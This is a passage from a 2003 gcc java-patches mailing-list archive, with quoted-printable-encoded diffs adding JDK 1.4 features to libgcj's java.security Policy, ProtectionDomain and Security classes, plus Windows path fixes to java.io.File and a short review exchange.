field. =09(setPolicy()): ensure instance is loaded. =09(setup(Policy)): new method. =09(getCurrentPolicy()): new package-private method; contains code =09previously in static initialiser. =09(isLoaded()): new method. =09(getPermissions(ProtectionDomain)): new method. =09(implies(ProtectionDomain, Permission)): new method. =09* java.security.ProtectionDomain: =09(classloader, principals, staticBinding): new fields. =09((CodeSource, PermissionCollection)): use new ctor. =09((CodeSource, PermissionCollection, ClassLoader, =09Principal[])): new ctor. =09(getClassLoader(), getPrincipals(), implies(Permission)): new =09methods. =09(toString()): added representation of new fields. cvs -z9 diff -u -wb -B Policy.java (in directory /data/workspace/cvs/gcc/= libjava/java/security/) Index: Policy.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/Policy.java,v retrieving revision 1.3 diff -u -w -b -B -r1.3 Policy.java --- Policy.java=0924 May 2002 11:57:20 -0000=091.3 +++ Policy.java=092 Mar 2003 18:27:17 -0000 @@ -36,6 +36,10 @@ exception statement from your version. */ =20 package java.security; +import java.util.Collections; +import java.util.Enumeration; +import java.util.LinkedHashMap; +import java.util.Map; =20 /** Policy is an abstract class for managing the system security @@ -77,30 +81,14 @@ to the correct Policy implementation class. =20 @author Mark Benvenuto - - @since JDK 1.2 + @since 1.2 */ public abstract class Policy { - // FIXME: The class name of the Policy provider should really be sourc= ed=20 - // from the "java.security" configuration file. For now, just hard-cod= e=20 - // a stub implementation. - static private Policy currentPolicy =3D null; - static=20 - { - String pp =3D System.getProperty ("policy.provider"); - if (pp !=3D null) - try -=09{ -=09 currentPolicy =3D (Policy)Class.forName(pp).newInstance(); -=09}=20 - catch (Exception _)=20 -=09{ -=09 currentPolicy =3D null; -=09} - if (currentPolicy =3D=3D null) - currentPolicy =3D new gnu.java.security.provider.DefaultPolicy(); - } + private static Policy currentPolicy =3D null; + + /** Map of ProtectionDomains to PermissionCollections for this instanc= e. */ + private Map pd2pc =3D null; =20 /** Constructs a new Policy class. @@ -117,8 +105,7 @@ if the caller has Permission to get the current Policy. =20 @return the current Policy - - @throws SecurityException if the security manager exists + @throws SecurityException if the security manager exists and the caller does not have permission to=20 getPolicy. */ @@ -128,7 +115,7 @@ if (sm !=3D null) sm.checkPermission(new SecurityPermission("getPolicy")); =20 - return currentPolicy; + return getCurrentPolicy(); } =20 /** @@ -149,9 +135,64 @@ if (sm !=3D null) sm.checkPermission(new SecurityPermission("setPolicy")); =20 + setup(policy); currentPolicy =3D policy; } =20 + private static void setup(final Policy policy) + { + if (policy.pd2pc =3D=3D null) + policy.pd2pc =3D Collections.synchronizedMap(new LinkedHashMap()); + + ProtectionDomain pd =3D policy.getClass().getProtectionDomain(); + if (pd.getCodeSource() !=3D null) + { +=09PermissionCollection pc =3D null; + if (currentPolicy !=3D null) + pc =3D currentPolicy.getPermissions(pd); + + if (pc =3D=3D null) // assume it has all + { + pc =3D new Permissions(); + pc.add(new AllPermission()); + } + +=09policy.pd2pc.put(pd, pc); // add the mapping pd -> pc + } + } + + // ensures/forces loading of the configured policy provider, while byp= assing + // the SecurityManager checks for "getPolicy" security permission. + // needed by ProtectionDomain. + // + // FIXME: The class name of the Policy provider should really be sourc= ed + // from the "java.security" configuration file. For now, just hard-cod= e + // a stub implementation. + static Policy getCurrentPolicy() + { + if (currentPolicy =3D=3D null) + { +=09String pp =3D System.getProperty ("policy.provider"); +=09if (pp !=3D null) +=09try +=09{ +=09 currentPolicy =3D (Policy) Class.forName(pp).newInstance(); +=09} +=09catch (Exception ignored) +=09{ +=09} +=09if (currentPolicy =3D=3D null) +=09 currentPolicy =3D new gnu.java.security.provider.DefaultPolicy(); + } + return currentPolicy; + } + + // tests if currentPolicy is not null, thus allowing clients to not fo= rce + // loading of any policy provider. needed by ProtectionDomain. + static boolean isLoaded() + { + return currentPolicy !=3D null; + } =20 /** Evalutes the global policy and returns a set of Permissions=20 @@ -168,6 +207,79 @@ public abstract PermissionCollection getPermissions(CodeSource codesou= rce); =20 /** + * Evaluates the global policy and returns a PermissionCollection obje= ct + * specifying the set of permissions allowed given the characteristics= of the + * protection domain. + * + * @param domain the ProtectionDomain associated with the caller. + * @return the set of permissions allowed for the domain accord= ing to + * the policy. The returned set of permissions must be a new mutable i= nstance + * and it must support heterogeneous Permission types. + * @since 1.4 + * @see {@link ProtectionDomain} + * @see {@link SecureClassLoader} + */ + public PermissionCollection getPermissions(ProtectionDomain domain) + { + if (domain =3D=3D null) + return new Permissions(); + + if (pd2pc =3D=3D null) + setup(this); + + PermissionCollection result =3D (PermissionCollection) pd2pc.get(dom= ain); + if (result !=3D null) + { + Permissions realResult =3D new Permissions(); + for (Enumeration e =3D result.elements(); e.hasMoreElements(); ) + realResult.add((Permission) e.nextElement()); + + return realResult; + } + result =3D getPermissions(domain.getCodeSource()); + if (result =3D=3D null) + result =3D new Permissions(); + + PermissionCollection pc =3D domain.getPermissions(); + if (pc !=3D null) + for (Enumeration e =3D pc.elements(); e.hasMoreElements(); ) + result.add((Permission) e.nextElement()); + + return result; + } + + /** + * Evaluates the global policy for the permissions granted to the + * ProtectionDomain and tests whether the permission is granted. + * + * @param domain the ProtectionDomain to test. + * @param permission the Permission object to be tested for implicatio= n. + * @return true if "permission" is a proper subset of a permission gra= nted to + * this ProtectionDomain. + * @since 1.4 + * @see {@link ProtectionDomain} + */ + public boolean implies(ProtectionDomain domain, Permission permission) + { + if (pd2pc =3D=3D null) + setup(this); + + PermissionCollection pc =3D (PermissionCollection) pd2pc.get(domain)= ; + if (pc !=3D null) + return pc.implies(permission); + + boolean result =3D false; + pc =3D getPermissions(domain); + if (pc !=3D null) + { + result =3D pc.implies(permission); + pd2pc.put(domain, pc); + } + + return result; + } + + /** Refreshes and/or reloads the current Policy. The actual behavior of this method depends on the implementation.=20 */ cvs -z9 diff -u -wb -B ProtectionDomain.java (in directory /data/workspac= e/cvs/gcc/libjava/java/security/) Index: ProtectionDomain.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/ProtectionDomain.java,v retrieving revision 1.4 diff -u -w -b -B -r1.4 ProtectionDomain.java --- ProtectionDomain.java=094 Oct 2002 20:15:07 -0000=091.4 +++ ProtectionDomain.java=092 Mar 2003 18:29:51 -0000 @@ -62,6 +62,12 @@ * This is the set of permissions granted to this domain */ private PermissionCollection perms; + /** The {@link ClassLoader} associated with this domain. */ + private ClassLoader classloader; + /** The array of Principals associated with this domain.. */ + private Principal[] principals; + /** Post 1.4 the policy may be refreshed! use false for pre 1.4. */ + private boolean staticBinding; =20 /** * This method initializes a new instance of ProtectionDomain @@ -72,16 +78,61 @@ * * @param code_source The CodeSource for this domain * @param perms The permission set for this domain - * * @see java.security.PermissionCollection#setReadOnly() */ public ProtectionDomain(CodeSource code_source, PermissionCollection p= erms) { - this.code_source =3D code_source; - this.perms =3D perms; - if (perms !=3D null) + this(code_source, perms, null, null, false); + } + + /** + *

          Creates a new ProtectionDomain qualified by the given CodeSource= , + * Permissions, ClassLoader and array of Principals. If the permission= s + * object is not null, then setReadOnly() will be called = on the + * passed in Permissions object. The permissions granted to this domai= n are + * dynamic; they include both the static permissions passed to this + * constructor, and any permissions granted to this domain by the curr= ent + * Policy at the time a permission is checked.

          + * + *

          This constructor is typically used by {@link ClassLoader}s and {= @link + * DomainCombiner}s which delegate to Policy to actively + * associate the permissions granted to this domain. This constructor = affords + * the Policy provider the opportunity to augment the supplied + * PermissionCollection to reflect policy changes.

          + * + * @param codesource the CodeSource associated with this domain. + * @param permissions the permissions granted to this domain. + * @param classloader the ClassLoader associated with this domain. + * @param principals the array of Principals associated with this doma= in. + * @since 1.4 + * @see Policy#refresh() + * @see Policy#getPermissions(ProtectionDomain) + */ + public ProtectionDomain(CodeSource codesource, + PermissionCollection permissions, + ClassLoader classloader, Principal[] principal= s) + { + this(codesource, permissions, classloader, principals, false); + } + + private ProtectionDomain(CodeSource codesource, + PermissionCollection permissions, + ClassLoader classloader, Principal[] principa= ls, + boolean staticBinding) + { + super(); + + code_source =3D codesource; + if (permissions !=3D null) + { + perms =3D permissions; perms.setReadOnly(); } + this.classloader =3D classloader; + this.principals =3D + (principals !=3D null ? (Principal[]) principals.clone() : new P= rincipal[0]); + this.staticBinding =3D staticBinding; + } =20 /** * This method returns the CodeSource for this domain. @@ -104,20 +155,59 @@ } =20 /** - * This method tests whether or not the specified Permission is - * implied by the set of permissions granted to this domain. + * Returns the ClassLoader of this domain. * - * @param perm The Permission to test. + * @return the ClassLoader of this domain which may be null. + * @since 1.4 + */ + public final ClassLoader getClassLoader() + { + return classloader; + } + + /** + * Returns an array of principals for this domain. * - * @return true if the specified Permission = is implied for this domain, false otherwise. + * @return a non-null array of principals for this domain. Changes to = this + * array will have no impact on the ProtectionDomain. + * @since 1.4 */ - public boolean implies(Permission perm) + public final Principal[] getPrincipals() { - PermissionCollection pc =3D getPermissions(); - if (pc =3D=3D null) - return (false); + return (Principal[]) principals.clone(); + } =20 - return (pc.implies(perm)); + /** + *

          Check and see if this ProtectionDomain implies the permissions + * expressed in the Permission object.

          + * + *

          The set of permissions evaluated is a function of whether the + * ProtectionDomain was constructed with a static set of permissions o= r it + * was bound to a dynamically mapped set of permissions.

          + * + *

          If the ProtectionDomain was constructed to a {@link + * #ProtectionDomain(CodeSource, PermissionCollection) statically boun= d} + * PermissionCollection then the permission will only be checked again= st the + * PermissionCollection supplied at construction.

          + * + *

          However, if the ProtectionDomain was constructed with the constr= uctor + * variant which supports {@link + * #ProtectionDomain(CodeSource, PermissionCollection, ClassLoader, Pr= incipal[]) dynamically binding} + * permissions, then the permission will be checked against the combin= ation + * of the PermissionCollection supplied at construction and the curren= t + * Policy binding.

          + * + * @param perm the Permission object to check. + * @return true if "permission" is implicit to this + * ProtectionDomain. + */ + public boolean implies(Permission perm) + { + if (staticBinding) + return (perms =3D=3D null ? false : perms.implies(perm)); + // else dynamically bound. do we have it? + // NOTE: this will force loading of Policy.currentPolicy + return Policy.getCurrentPolicy().implies(this, perm); } =20 /** @@ -130,15 +220,49 @@ public String toString() { String linesep =3D System.getProperty("line.separator"); - StringBuffer sb =3D new StringBuffer(""); - sb.append("ProtectionDomain (" + linesep); + StringBuffer sb =3D new StringBuffer("ProtectionDomain (").append(li= nesep); + if (code_source =3D=3D null) - sb.append("CodeSource:null" + linesep); + sb.append("CodeSource:null"); + else + sb.append(code_source); + + sb.append(linesep); + if (classloader =3D=3D null) + sb.append("ClassLoader:null"); + else + sb.append(classloader); + + sb.append(linesep); + sb.append("Principals:"); + if (principals !=3D null && principals.length > 0) + { + sb.append("["); + Principal pal; + for (int i =3D 0; i < principals.length; i++) + { + pal =3D principals[i]; + sb.append("'").append(pal.getName()) + .append("' of type ").append(pal.getClass().getName()); + if (i < principals.length-1) + sb.append(", "); + } + sb.append("]"); + } + else + sb.append("none"); + + sb.append(linesep); + if (!staticBinding) // include all but dont force loading Policy.cur= rentPolicy + { + if (Policy.isLoaded()) + sb.append(Policy.getCurrentPolicy().getPermissions(this)); + else // fallback on this one's permissions + sb.append(perms); + } else - sb.append(code_source + linesep); sb.append(perms); - sb.append(linesep + ")" + linesep); =20 - return sb.toString(); + return sb.append(linesep).append(")").append(linesep).toString(); } } From java-patches-return-6353-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 18:50:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27354 invoked by alias); 2 Mar 2003 18:50:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27345 invoked from network); 2 Mar 2003 18:50:51 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 2 Mar 2003 18:50:51 -0000 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18pYXZ-0006ve-00 for ; Sun, 02 Mar 2003 19:50:25 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18pYS1-0006Zi-00 for ; Sun, 02 Mar 2003 19:44:41 +0100 From: Ranjit Mathew Subject: Re: Patch: File.toURL() and URLStreamHandler.parseURL() fixes Date: Mon, 03 Mar 2003 00:17:28 +0530 Lines: 20 Message-ID: <3E6251C0.B342C1@hotmail.com> References: <3E58F687.6FE1892E@hotmail.com> <87ptpar57m.fsf@fleche.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Tom Tromey wrote: > One question about File.getAbsolutePath(). What if the file name is > something like "C:foo"? Does this even make sense? And if so, won't > this canonicalize (using the new code) to something like "A:\C:foo", > which is incorrect? You are absolutely right - thanks for catching this! > FYI there is still a POSIX-ism in File.getParent(). > This method needs to be Windows-aware, I think. Yes, and also in getName( ) - I'll submit a patch separately. Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-6354-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 18:55:06 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31248 invoked by alias); 2 Mar 2003 18:55:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31241 invoked from network); 2 Mar 2003 18:55:05 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 2 Mar 2003 18:55:05 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18pYbg-00078t-00 for ; Sun, 02 Mar 2003 19:54:40 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18pYbf-00078j-00 for ; Sun, 02 Mar 2003 19:54:39 +0100 From: Ranjit Mathew Subject: Patch: More Win32 fixes for File.getAbsoluteName( ) etc. Date: Mon, 03 Mar 2003 00:27:23 +0530 Lines: 172 Message-ID: <3E625413.E340AED5@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Hi, This patch fixes the case identified by Tom w.r.t. to File.getAbsolutePath( ) on Win32 and paths like "C:", "c:foo\bar", etc. It also attempts to "fix" File.getParent( ) and File.getName( ) w.r.t. Win32 and also UNIX, where "/" should return null in getParent( ) at least according to JRE 1.4.0_01 on Linux. The most important thing in these methods is the notion of a "prefix" as defined by the JDK docs for java.io.File which does not matter much for UNIX, but does a lot for Windows. The last bit changes the copyright owner of natFileWin32.cc to FSF instead of Red Hat, which I guess was an omission - this was the only source file (except for a Perl script) that is copyrighted by RedHat in libgcj. Ranjit. Index: ChangeLog from Ranjit Mathew * java/io/File.java (getAbsolutePath): On Windows, take care of paths like "C:", "G:foo\bar", etc. (getName): Make it work correctly on Windows. (getParent): Make it work correctly on Windows. For UNIX, fix bug that causes "/" to be returned as the parent of "/", instead of null as returned by Sun's JRE. * java/io/natFileWin32.cc: Change copyright owner to FSF. Index: java/io/File.java =================================================================== --- java/io/File.java 2003-03-02 16:01:40.000000000 +0530 +++ java/io/File.java 2003-03-02 23:31:28.000000000 +0530 @@ -176,4 +176,31 @@ return System.getProperty ("user.dir").substring (0, 2) + path; } + else if (separatorChar == '\\' + && path.length () > 1 && path.charAt (1) == ':' + && ((path.charAt (0) >= 'a' && path.charAt (0) <= 'z') + || (path.charAt (0) >= 'A' && path.charAt (0) <= 'Z'))) + { + // On Windows, a process has a current working directory for + // each drive and a path like "G:foo\bar" would mean the + // absolute path "G:\wombat\foo\bar" if "\wombat" is the + // working directory on the G drive. + String drvDir = null; + try + { + drvDir = new File (path.substring (0, 2)).getCanonicalPath (); + } + catch (IOException e) + { + drvDir = path.substring (0, 2) + "\\"; + } + + // Note: this would return "C:\\." for the path "C:.", if "\" + // is the working folder on the C drive, but this is + // consistent with what Sun's JRE 1.4.1.01 actually returns! + if (path.length () > 2) + return drvDir + '\\' + path.substring (2, path.length ()); + else + return drvDir; + } else return System.getProperty ("user.dir") + separatorChar + path; @@ -196,17 +223,82 @@ public String getName () { - int last = path.lastIndexOf(separatorChar); - return path.substring(last + 1); + int nameSeqIndex = 0; + + if (separatorChar == '\\' && path.length () > 1) + { + // On Windows, ignore the drive specifier or the leading '\\' + // of a UNC network path, if any (a.k.a. the "prefix"). + if ((path.charAt (0) == '\\' && path.charAt (1) == '\\') + || (((path.charAt (0) >= 'a' && path.charAt (0) <= 'z') + || (path.charAt (0) >= 'A' && path.charAt (0) <= 'Z')) + && path.charAt (1) == ':')) + { + if (path.length () > 2) + nameSeqIndex = 2; + else + return ""; + } + } + + String nameSeq + = (nameSeqIndex > 0 ? path.substring (nameSeqIndex) : path); + + int last = nameSeq.lastIndexOf (separatorChar); + + return nameSeq.substring (last + 1); } public String getParent () { - int last = path.lastIndexOf(separatorChar); - if (last == -1) + String prefix = null; + int nameSeqIndex = 0; + + // The "prefix", if present, is the leading "/" on UNIX and + // either the drive specifier (e.g. "C:") or the leading "\\" + // of a UNC network path on Windows. + if (separatorChar == '/' && path.charAt (0) == '/') + { + prefix = "/"; + nameSeqIndex = 1; + } + else if (separatorChar == '\\' && path.length () > 1) + { + if ((path.charAt (0) == '\\' && path.charAt (1) == '\\') + || (((path.charAt (0) >= 'a' && path.charAt (0) <= 'z') + || (path.charAt (0) >= 'A' && path.charAt (0) <= 'Z')) + && path.charAt (1) == ':')) + { + prefix = path.substring (0, 2); + nameSeqIndex = 2; + } + } + + // According to the JDK docs, the returned parent path is the + // portion of the name sequence before the last separator + // character, if found, prefixed by the prefix, otherwise null. + if (nameSeqIndex < path.length ()) + { + String nameSeq = path.substring (nameSeqIndex, path.length ()); + int last = nameSeq.lastIndexOf (separatorChar); + if (last == -1) + return prefix; + else if (last == (nameSeq.length () - 1)) + // Note: The path would not have a trailing separator + // except for cases like "C:\" on Windows (see + // normalizePath( )), where Sun's JRE 1.4 returns null. + return null; + else if (last == 0) + last++; + + if (prefix != null) + return prefix + nameSeq.substring (0, last); + else + return nameSeq.substring (0, last); + } + else + // Sun's JRE 1.4 returns null if the prefix is the only + // component of the path - so "/" gives null on UNIX and + // "C:", "\\", etc. return null on Windows. return null; - // FIXME: POSIX assumption. - if (last == 0 && path.charAt (0) == '/') - ++last; - return path.substring(0, last); } Index: java/io/natFileWin32.cc =================================================================== --- java/io/natFileWin32.cc 2003-03-02 16:02:11.000000000 +0530 +++ java/io/natFileWin32.cc 2003-03-02 21:47:30.000000000 +0530 @@ -1,5 +1,5 @@ -// natFileWin32.cc - Native part of File class. +// natFileWin32.cc - Native part of File class for Win32. -/* Copyright (C) 1998, 1999, 2002, 2003 Red Hat, Inc. +/* Copyright (C) 1998, 1999, 2002, 2003 Free Software Foundation, Inc. This file is part of libgcj. From java-patches-return-6355-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 19:03:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2357 invoked by alias); 2 Mar 2003 19:03:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2346 invoked from network); 2 Mar 2003 19:03:00 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 2 Mar 2003 19:03:00 -0000 Received: from solomon (a4-p56.syd.fl.net.au [202.181.2.120]) by delenn.fl.net.au (Postfix) with ESMTP id 8DE8E180318 for ; Mon, 3 Mar 2003 06:04:00 +1100 (EST) Content-Type: text/plain; charset="us-ascii" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: GCC libjava patches Subject: java.security.Security Date: Mon, 3 Mar 2003 06:00:57 +1100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303030600.57982.raif@fl.net.au> hello there, this patch addresses JDK 1.4 compatibility. cheers; rsn in ChangeLog (in libjava), add: 2003-03-03 Raif S. Naffah =09* java.security.Security: formatting + documentation. =09(getAlgorithmProperty(String, String)): added implementation. =09(getAlgorithms(String), getProviders(String), getProviders(Map)): =09new public methods. =09(selectProviders(...), provides(...)): new private methods. cvs -z9 diff -u -wb -B Security.java (in directory /data/workspace/cvs/gc= c/libjava/java/security/) Index: Security.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/Security.java,v retrieving revision 1.11 diff -u -w -b -B -r1.11 Security.java --- Security.java=0931 Dec 2002 22:50:10 -0000=091.11 +++ Security.java=092 Mar 2003 18:45:47 -0000 @@ -36,15 +36,21 @@ exception statement from your version. */ =20 package java.security; -import java.io.File; +import java.io.FileNotFoundException; import java.io.InputStream; import java.io.IOException; -import java.io.FileNotFoundException; import java.net.URL; import java.security.Provider; -import java.util.Vector; +import java.util.Collections; import java.util.Enumeration; +import java.util.HashSet; +import java.util.Iterator; +import java.util.LinkedHashSet; +import java.util.Map; import java.util.Properties; +import java.util.Set; +import java.util.Vector; +import java.util.HashMap; =20 /** Security class that loads the Providers and provides an=20 @@ -124,22 +130,39 @@ } =20 /** - Gets a specific property for an algorithm. This is used to produce - specialized algorithm parsers. - - @deprecated it used to a return the value of a propietary property - for the "SUN" Cryptographic Service Provider to obtain=20 - algorithm-specific parameters. Used AlogorithmParameters and=20 - KeyFactory instead. - - @param algName name of algorithm to get property of=20 - @param propName name of property to check - - @return a string containing the value of the property + * Gets a specified property for an algorithm. The algorithm name shou= ld be a + * standard name. See Appendix A in the Java Cryptography Architecture= API + * Specification & Reference for information about standard algori= thm + * names. One possible use is by specialized algorithm parsers, which = may map + * classes to algorithms which they understand (much like Key parsers = do). + * + * @param algName the algorithm name. + * @param propName the name of the property to get. + * @return the value of the specified property. + * @deprecated This method used to return the value of a proprietary p= roperty + * in the master file of the "SUN" Cryptographic Service Provider in o= rder to + * determine how to parse algorithm-specific parameters. Use the new + * provider-based and algorithm-independent AlgorithmParameters<= /code> + * and KeyFactory engine classes (introduced in the Java = 2 + * platform) instead. */ public static String getAlgorithmProperty(String algName, String propN= ame) { - /* TODO: Figure out what this actually does */ + if (algName =3D=3D null || propName =3D=3D null) + return null; + + String property =3D String.valueOf(propName) + "." + String.valueOf(= algName); + Provider p; + for (Iterator i =3D providers.iterator(); i.hasNext(); ) + { + p =3D (Provider) i.next(); + for (Iterator j =3D p.keySet().iterator(); j.hasNext(); ) + { + String key =3D (String) j.next(); + if (key.equalsIgnoreCase(property)) + return p.getProperty(key); + } + } return null; } =20 @@ -157,7 +180,6 @@

          A provider cannot be added if it is already installed.

          - NOT IMPLEMENTED YET:[ First, if there is a security manager, its checkSecurityAcces= s method is called with the string "insertProvider."+provider.getName() @@ -165,7 +187,7 @@ checkSecurityAccess is used (i.e., that method is not overriden), then this will result in a call to the security manager= 's checkPermission method with a SecurityPermission= ( - "insertProvider."+provider.getName()) permission.] + "insertProvider."+provider.getName()) permission. =20 @param provider the provider to be added. @param position the preference position that the caller would like = for @@ -236,10 +258,9 @@ with "removeProvider."+provider.getName() to see if the user can re= move this provider. =20 - @param name name of the provider to add - - @throws SecurityException - if the security manager denies access t= o - remove a new provider + @param name name of the provider to add. + @throws SecurityException if the security manager denies access to + remove a new provider. */ public static void removeProvider(String name) { @@ -247,7 +268,6 @@ if (sm !=3D null) sm.checkSecurityAccess("removeProvider." + name); =20 - Provider p =3D null; int max =3D providers.size (); for (int i =3D 0; i < max; i++) { @@ -263,7 +283,7 @@ Returns array containing all the providers. It is in the preference= order=20 of the providers. =20 - @return an array of installed providers + @return an array of installed providers. */ public static Provider[] getProviders() { @@ -276,9 +296,8 @@ Returns the provider with the specified name. It will return null=20 if the provider cannot be found.=20 =20 - @param name name of the requested provider - - @return requested provider + @param name name of the requested provider. + @return requested provider. */ public static Provider getProvider(String name) { @@ -299,12 +318,10 @@ This method checks the security manager with the call checkSecurity= Access with "getProperty."+key to see if the user can get this property. =20 - @param key property to get - - @return value of the property =20 - - @throws SecurityException - if the security manager denies access t= o=20 - getting a property + @param key property to get. + @return value of the property. + @throws SecurityException if the security manager denies access to + getting a property. */ public static String getProperty(String key) { @@ -322,11 +339,10 @@ This method checks the security manager with the call checkSecurity= Access with "setProperty."+key to see if the user can get this property. =20 - @param key property to set - @param datnum new value of property - - @throws SecurityException - if the security manager denies access t= o=20 - setting a property + @param key property to set. + @param datnum new value of property. + @throws SecurityException if the security manager denies access to + setting a property. */ public static void setProperty(String key, String datnum) { @@ -335,5 +351,308 @@ sm.checkSecurityAccess("setProperty." + key); =20 secprops.put(key, datnum); + } + + /** + * Returns a Set of Strings containing the names of all available algo= rithms + * or types for the specified Java cryptographic service (e.g., Signat= ure, + * MessageDigest, Cipher, Mac, KeyStore). Returns an empty Set if ther= e is no + * provider that supports the specified service. For a complete list o= f Java + * cryptographic services, please see the Java Cryptography Architectu= re API + * Specification & Reference. Note: the returned set is immutable. + * + * @param serviceName the name of the Java cryptographic service (e.g.= , + * Signature, MessageDigest, Cipher, Mac, KeyStore). Note: this parame= ter is + * case-insensitive. + * @return a Set of Strings containing the names of all available algo= rithms + * or types for the specified Java cryptographic service or an empty s= et if + * no provider supports the specified service. + * @since 1.4 + */ + public static Set getAlgorithms(String serviceName) + { + HashSet result =3D new HashSet(); + if (serviceName =3D=3D null || serviceName.length() =3D=3D 0) + return result; + + serviceName =3D serviceName.trim(); + if (serviceName.length() =3D=3D 0) + return result; + + serviceName =3D serviceName.toUpperCase()+"."; + Provider[] providers =3D getProviders(); + for (int i =3D 0; i < providers.length; i++) + for (Enumeration e =3D providers[i].propertyNames(); e.hasMoreElem= ents(); ) +=09{ +=09 String service =3D ((String) e.nextElement()).trim(); +=09 if (service.toUpperCase().startsWith(serviceName)) +=09 result.add(service.substring(serviceName.length())); +=09} + + return Collections.unmodifiableSet(result); + } + + /** + *

          Returns an array containing all installed providers that satisfy= the + * specified selection criterion, or null if no such prov= iders + * have been installed. The returned providers are ordered according t= o their + * preference order.

          + * + *

          A cryptographic service is always associated with a particular + * algorithm or type. For example, a digital signature service is alwa= ys + * associated with a particular algorithm (e.g., DSA), and a + * CertificateFactory service is always associated with a particular + * certificate type (e.g., X.509).

          + * + *

          The selection criterion must be specified in one of the followin= g two + * formats:

          + * + *
            + *
          • <crypto_service>.<algorithm_or_type>

            + *

            The cryptographic service name must not contain any dots.

            + *

            A provider satisfies the specified selection criterion iff th= e + * provider implements the specified algorithm or type for the spec= ified + * cryptographic service.

            + *

            For example, "CertificateFactory.X.509" would be satisfied by= any + * provider that supplied a CertificateFactory implementation for X= =2E509 + * certificates.

          • + * + *
          • <crypto_service>.<algorithm_or_type> <attri= bute_name>:<attribute_value>

            + *

            The cryptographic service name must not contain any dots. The= re must + * be one or more space charaters between the the <algorithm_or_= type> + * and the <attribute_name>.

            + *

            A provider satisfies this selection criterion iff the provide= r + * implements the specified algorithm or type for the specified + * cryptographic service and its implementation meets the constrain= t + * expressed by the specified attribute name/value pair.

            + *

            For example, "Signature.SHA1withDSA KeySize:1024" would be sa= tisfied + * by any provider that implemented the SHA1withDSA signature algor= ithm + * with a keysize of 1024 (or larger).

          • + *
          + * + *

          See Appendix A in the Java Cryptogaphy Architecture API Specific= ation + * & Reference for information about standard cryptographic servic= e names, + * standard algorithm names and standard attribute names.

          + * + * @param filter the criterion for selecting providers. The filter is = case- + * insensitive. + * @return all the installed providers that satisfy the selection crit= erion, + * or null if no such providers have been installed. + * @throws InvalidParameterException if the filter is not in the requi= red + * format. + * @see #getProviders(Map) + */ + public static Provider[] getProviders(String filter) + { + if (providers =3D=3D null || providers.isEmpty()) + return null; + + if (filter =3D=3D null || filter.length() =3D=3D 0) + return getProviders(); + + HashMap map =3D new HashMap(1); + int i =3D filter.indexOf(':'); + if (i =3D=3D -1) // . + map.put(filter, ""); + else // . : + map.put(filter.substring(0, i), filter.substring(i+1)); + + return getProviders(map); + } + + /** + *

          Returns an array containing all installed providers that satisfy= the + * specified selection criteria, or null if no such provi= ders + * have been installed. The returned providers are ordered according t= o their + * preference order.

          + * + *

